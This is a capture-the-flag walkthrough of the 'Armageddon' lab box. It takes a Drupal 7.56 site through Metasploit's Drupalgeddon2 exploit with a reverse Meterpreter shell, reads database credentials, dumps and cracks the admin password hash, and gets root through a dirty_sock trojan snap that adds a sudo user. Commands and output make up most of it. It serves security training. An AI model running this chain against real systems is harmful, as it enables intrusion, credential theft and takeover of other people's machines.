Release Date2021-03-27
Retired Date<don’t know>
IP Address10.10.10.233

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.


So, let’s start like we always do and see what’s running on the box (in this case, its IP address is

$ nmap -p- -sV
Starting Nmap 7.80 ( ) at 2021-05-29 00:34 WEST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 00:34 (0:00:00 remaining)
Nmap scan report for
Host is up (0.051s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 26.46 seconds

OK, not much out of the ordinary here. Let’s start by checking the website available.


Looks like a simple site with no content and just user management implemented. The operations available are login/register/request new password. After trying some simple username/password combos like Admin:Admin or Admin:123456, I began digging around. The site is actually running on Drupal CMS 7, and the exact version is 7.56, witch can be seen on the CHANGELOG.txt file that is still available on the site.

With this information at hand, let’s search for bugs/exploit we can use on this version of Drupal.

msf6 > search drupal

Matching Modules

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   4  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

So, Metasploit has a bunch of exploits for Drupal, but maybe we can narrow them down a little. Drupal’s version 7.56 was released on 2017-06-21 so, anything before that is patched (🤞), which leaves us with exploit #1 and #5. The exploit #5 is for Drupal version 8 only, so the only one that’s left is #1, which actually mentions Forms which Armageddons’ site have for the user registration stuff. Let’s try it out!

msf6 > use 1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > check
[+] - The target is vulnerable.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to
[*] Meterpreter session 1 opened ( -> at 2021-05-29 01:05:06 +0100
meterpreter > shell
Process 4780 created.
Channel 0 created.
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

There we go! We have our first shell! But we’re running as apache and the user flag isn’t here 😢. But we have our foothold.

user flag

While we’re at the shell with our apache user, we can check around and see what’s on the box itself.

ls /home
ls: cannot open directory /home: Permission denied
grep sh /etc/passwd
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

OK, there’s a user named brucetherealadmin. Maybe this user is on the database too, so let’s check it out. The drupal database configuration is at sites/default/settings.php. So cating that file and looking for the configuration, we get the database user:pass:

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',

With this information, we’re able to dump the Drupal’s users table an check who’s in there:

mysqldump -h localhost -u drupaluser --password="CQHEy@9M*m23gBVj" --no-create-db --skip-triggers --compact drupal users
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `uid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT 'Primary Key: Unique user ID.',
  `name` varchar(60) NOT NULL DEFAULT '' COMMENT 'Unique user name.',
  `pass` varchar(128) NOT NULL DEFAULT '' COMMENT 'User’s password (hashed).',
  `mail` varchar(254) DEFAULT '' COMMENT 'User’s e-mail address.',
  `theme` varchar(255) NOT NULL DEFAULT '' COMMENT 'User’s default theme.',
  `signature` varchar(255) NOT NULL DEFAULT '' COMMENT 'User’s signature.',
  `signature_format` varchar(255) DEFAULT NULL COMMENT 'The filter_format.format of the signature.',
  `created` int(11) NOT NULL DEFAULT '0' COMMENT 'Timestamp for when user was created.',
  `access` int(11) NOT NULL DEFAULT '0' COMMENT 'Timestamp for previous time user accessed the site.',
  `login` int(11) NOT NULL DEFAULT '0' COMMENT 'Timestamp for user’s last login.',
  `status` tinyint(4) NOT NULL DEFAULT '0' COMMENT 'Whether the user is active(1) or blocked(0).',
  `timezone` varchar(32) DEFAULT NULL COMMENT 'User’s time zone.',
  `language` varchar(12) NOT NULL DEFAULT '' COMMENT 'User’s default language.',
  `picture` int(11) NOT NULL DEFAULT '0' COMMENT 'Foreign key: file_managed.fid of user’s picture.',
  `init` varchar(254) DEFAULT '' COMMENT 'E-mail address used for initial account creation.',
  `data` longblob COMMENT 'A serialized array of name value pairs that are related to the user. Any form values posted during user edit are stored and are loaded into the $user object during user_load(). Use of this field is discouraged and it will likely disappear in a future...',
  PRIMARY KEY (`uid`),
  UNIQUE KEY `name` (`name`),
  KEY `access` (`access`),
  KEY `created` (`created`),
  KEY `mail` (`mail`),
  KEY `picture` (`picture`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores user data.';
/*!40101 SET character_set_client = @saved_cs_client */;
INSERT INTO `users` VALUES (0,'','','','','',NULL,0,0,0,0,NULL,'',0,'',NULL),(1,'brucetherealadmin','$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt','','','','filtered_html',1606998756,1607077194,1607076276,1,'Europe/London','',0,'','a:1:{s:7:\"overlay\";i:1;}');

Good, we have a hash! Maybe it’s crackable and an easy fast one.JohnTheRipper Jumbo supports Drupal’s 7 hash type so let’s just use it:

$ echo 'brucetherealadmin:$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > pass
$ cat pass                                                                               
$ john pass --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo           (brucetherealadmin)
1g 0:00:00:01 DONE (2021-05-29 02:30) 0.8771g/s 210.5p/s 210.5c/s 210.5C/s tiffany..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And we got a password! Now, if this is a “normal” user, he may just have reused his password for the shell access 😇

$ ssh brucetherealadmin@
brucetherealadmin@'s password: 
Last login: Fri May 28 23:00:05 2021 from
[brucetherealadmin@armageddon ~]$ cat user.txt 

And we have our user flag! 🥳

root flag sidestepping

Time to try and get the holly root flag. Trying to find some suid binary turns up empty but we have some interesting sudo permissions:

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

So, we can install snap packages. I wonder if there’s any snap vulnerability we can exploit to get root. A quick google turned up with a vulnerability called dirty_sock (CVE-2019-7304). There’s 2 versions of the vulnerability. The first one needs an internet connection so we just ditch that one and try to use the second. Just download the exploit on host and than scp it into the box. Trying to run the exploit will fail:

[brucetherealadmin@armageddon ~]$ python3 

      ___  _ ____ ___ _   _     ____ ____ ____ _  _ 
      |  \ | |__/  |   \_/      [__  |  | |    |_/  
      |__/ | |  \  |    |   ___ ___] |__| |___ | \_ 
                       (version 2)

|| R&D     || initstring (@init_string)                ||
|| Source  || ||
|| Details ||     ||

[+] Slipped dirty sock on random socket file: /tmp/dyvarwwfqv;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[!] System may not be vulnerable, here is the API reply:

HTTP/1.1 401 Unauthorized
Content-Type: application/json
Date: Sat, 29 May 2021 01:56:23 GMT
Content-Length: 119

{"type":"error","status-code":401,"status":"Unauthorized","result":{"message":"access denied","kind":"login-required"}}

Well, yeah. This vulnerability is only for 2.37 or lower of snapd, and the box is running version 2.47.1. Bummer 😢. Also, it tries to connect to the snap socket which it will do as user brucetherealadmin and not root, but since we can’t sudo this command, this can’t work as is. But maybe we can still leverage the package itself. The way the exploit works is by adding a user to the system with sudo rights by the means of a snap hook when it installs an empty snap in “devmode”. So, we just have to extract the snap from the script and install it ourselfs with the snap install command we’re allowed to use.

# The following global is a base64 encoded string representing an installable
# snap package. The snap itself is empty and has no functionality. It does,
# however, have a bash-script in the install hook that will create a new user.
# For full details, read the blog linked on the github page above.
               + 'A' * 4256 + '==')

This is the snap package we need. I just edited the python script to remove the new lines (\n), print the TROJAN_SNAP variable, and exit(), making it easy to create the snap package like this:

python | base64 -d > snap

Now, we just need to install this new snap 🤞

[brucetherealadmin@armageddon ~]$ sudo snap install --devmode ./snap
dirty-sock 0.1 installed
[brucetherealadmin@armageddon ~]$ 

⚠️You might loose the network connectivity here. Just disconnect the VPN and reconnect again.

So, now we have a user with sudo privileges to do everything without password 😉

root flag

The privileged user created in the previous step is dirty_sock:dirty_sock. We just need to change to it, and then sudo to root.

[brucetherealadmin@armageddon ~]$ su - dirty_sock
[dirty_sock@armageddon ~]$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dirty_sock: 
[root@armageddon dirty_sock]# whoami
[root@armageddon dirty_sock]# cd
[root@armageddon ~]# cat root.txt 

And there you go. The root flag is ours! 🥳🥳🥳🥳🥳

root password hash